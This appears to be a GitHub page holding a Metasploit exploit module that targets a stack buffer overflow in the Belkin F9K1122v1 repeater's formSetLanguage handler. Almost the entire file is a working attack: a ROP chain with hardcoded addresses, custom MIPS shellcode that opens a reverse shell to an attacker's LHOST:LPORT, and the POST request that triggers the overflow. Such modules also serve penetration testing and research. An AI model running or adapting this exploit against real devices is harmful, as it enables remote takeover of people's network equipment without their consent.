-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathbelkin_exploit.rb
More file actions
183 lines (160 loc) · 7.73 KB
/
belkin_exploit.rb
File metadata and controls
183 lines (160 loc) · 7.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin F9K1122v1 "formSetLanguage" Stack-Based Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability within the Belkin F9K1221v1 repeater.
The vulnerability is due to a failure to check the length of the HTTP POST argument 'webpage' before copying
it into a static stack based buffer of 100 bytes via sprintf() as a string based argument (%s).
},
'Author' =>
[
'b1ack0wl' # vuln discovery + exploit developer
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/40332/'] # Original PoC before adding process continuation
],
'Privileged' => true,
'Payload' =>
{
'BadChars' => "\x00"
},
'Targets' =>
[
[ 'Belkin F9K1122v1 - v1.00.30',
{
'Offset' => 103,
'Sleep' => 0x2aaf2c80,
'rop1' => 0x2aafc840, # move t9,s0; jalr t9; addiu a1,s1,4; beqz v0,0x2aafc88c; lw ra,36(sp); jr ra; addiu sp,sp,40
'rop2' => 0x2aaf9808, # addiu a0,sp,24; lw ra,52(sp); jr ra
'rop3' => 0x2aaf97fc # move t9,a0; sw v0,24(sp); jalr t9; addiu a0,sp,24
}
]
],
'DisclosureDate' => 'September 4 2016',
'DefaultTarget' => 0))
end
def check
begin
res = send_request_cgi({
'uri' => "/index2.asp",
'method' => 'GET'
})
if res and res.code == 200 and res.body =~ /F9K1122v1/ and res.body =~ /1\.00\.30 \(2015\.05\.19\)/
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def exploit
@my_target = target
check_code = check
unless check_code == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
end
print_status("Exploiting #{@my_target.name}...")
print_status("Note: There's about a 10 second delay before commands start executing.")
lhost_lport = "#{datastore['LHOST']}:#{datastore['LPORT']}"
### Custom Shellcode ###
### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener
## Create stack frame for shellcode
## The offset is arbitrary and -0x0504 was chosen by random.
shellcode = [0x27bdfafc].pack("N") # addiu sp, sp, -0x0504
## $t7 = 0x00404810 (PTR to _ftext; manually found on the stack)
## Used to call functions within webs.
shellcode << [0x8faf0698].pack("N") # lw t7, 1688(sp) (0x504+0x194)
## Call 0x00411300(str)
## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd
shellcode << [0x3508CAF0].pack("N") # ori t0, t0, 0xCAF0
shellcode << [0x01e8c821].pack("N") # addu t9, t7, t0
shellcode << [0x3908CAF0].pack("N") # xori t0,t0, 0xCDF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x27a405ac].pack("N") # addiu a0, sp, 0x5ac # ptr to lhost:lport
## Store Socket fd onto stack and then load it into a0 for the dup2() loop
shellcode << [0xafa20104].pack("N") # sw v0, 0x0104(sp)
shellcode << [0x8fa40104].pack("N") # lw a0, 0x0104(sp)
## dup2(a0,a1) for 0,1,2
## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3
## Delay slot: 'addiu a1,a1,-1'
## call dup2() @ 0x2AAD5EF0
## bne a1,t0, -7 instructions (t0 == 0)
shellcode << [0x25051005].pack("N") # addiu a1, t0, 0x1005
shellcode << [0x24a5effe].pack("N") # addiu a1, a1, -0x1002 # a1 = 3
shellcode << [0x3c192aad].pack("N") # lui t9, 0x2AAD
shellcode << [0x37395ef0].pack("N") # ori t9, t9, 0x5EF0
shellcode << [0x0320f809].pack("N") # jalr ra, t9 # dup2()
shellcode << [0x24a5ffff].pack("N") # addiu a1, a1, -1
shellcode << [0x14A0FFFD].pack("N") # bnez a1, -8 (-2 instructions)
shellcode << [0x3c104141].pack("N") # [nop] lui s0, 0x4141
## call system('/bin/sh') @ 0x2AAF0810
## a0 == /bin/sh @ 0x2AAFF3D0
shellcode << [0x3c042AAF].pack("N") # lui a0, 0x2AAF
shellcode << [0x3c192AAF].pack("N") # lui t9, 0x2AAF
shellcode << [0x37390810].pack("N") # ori t9, t9, 0x5FB0 # system
shellcode << [0x0320f809].pack("N") # jalr ra, t9
shellcode << [0x3484F3D0].pack("N") # ori a0, a0, 0xF3D0 # /bin/sh
## Move stack back
## Must be the same value used before, but negated (0x0504)
shellcode << [0x27bd0504].pack("N") # addiu sp, sp, 0x0504
### Process Continuation ###
## Zero out global vars "request_ready" and "total_connections"
## $t0 == 0x00000000
continutation = [0xaee83340].pack("N") # sw t0, 0x3340(s7) request_ready
continutation << [0xaee83360].pack("N") # sw t0, 0x3360(s7) total_connections
## Execute Shellcode
continutation << shellcode
## Make a0 = 3 ($s5 == 2); 3 == socket fd for web server
## Make a0 = 0x00000003 which is the socket fd for web server ($s5 = 0x00000002)
continutation << [0x02a0c020].pack("N") # move t8, s5
continutation << [0x2704effe].pack("N") # addiu a0, t8, -0x1002
continutation << [0x24841003].pack("N") # addiu a0, a0, 0x1003
## Copy Stack with an offset of 596(0x0254) into t8 because of NULL bytes.
## lw and sw use a WORD for the operand which means the offset used for lw/sw must be above 0x0101 in order to avoid NULL bytes.
continutation << [0x27b80254].pack("N") # addiu, t8, sp, 596 (0x0254)
## Load $t7 to 0x00404810 (PTR to _ftext; manually found on the stack via gdb)
continutation << [0x8faf0194].pack("N") # lw t7, 404(sp)
## adjust stack back to loop()
continutation << [0x271dfdec].pack("N") # addiu sp, t8, -0x0214
## return back to loop() at offset 0x0041158C (when GP is loaded and saved)
continutation << [0x3508CD7C].pack("N") # ori t0, t0, 0xCD7C
continutation << [0x01e8c821].pack("N") # addu t9, t7, t0
continutation << [0x0320f809].pack("N") # jalr ra, t9
continutation << [0x3908CD7C].pack("N") # xori t0,t0, 0xCD7C
## Attach "lhost:lport" for function 0x00411300()
continutation << lhost_lport
## Craft the overflow and trigger the vuln
overflow = rand_text_alpha_upper(@my_target['Offset']) # Padding
overflow << [@my_target['Sleep']].pack("N") # $s0
overflow << rand_text_alpha_upper(4) # $s1
overflow << [@my_target['rop1']].pack("N") # $ra -> rop1
overflow << rand_text_alpha_upper(9*4) # Padding
overflow << [@my_target['rop2']].pack("N") # $ra -> rop2
overflow << [0x2739e8b8].pack("N") * 13 # lame NOP sled
overflow << [@my_target['rop3']].pack("N") # $ra -> rop3 (points to lame NOP sled && this ptr decodes to the instruction 'slti t7, s5, -0x6804')
overflow << [0x2739e8b8].pack("N") * 7 # lame NOP sled v2
overflow << continutation
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/goform/formSetLanguage",
'vars_post' => {
'webpage' => overflow
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end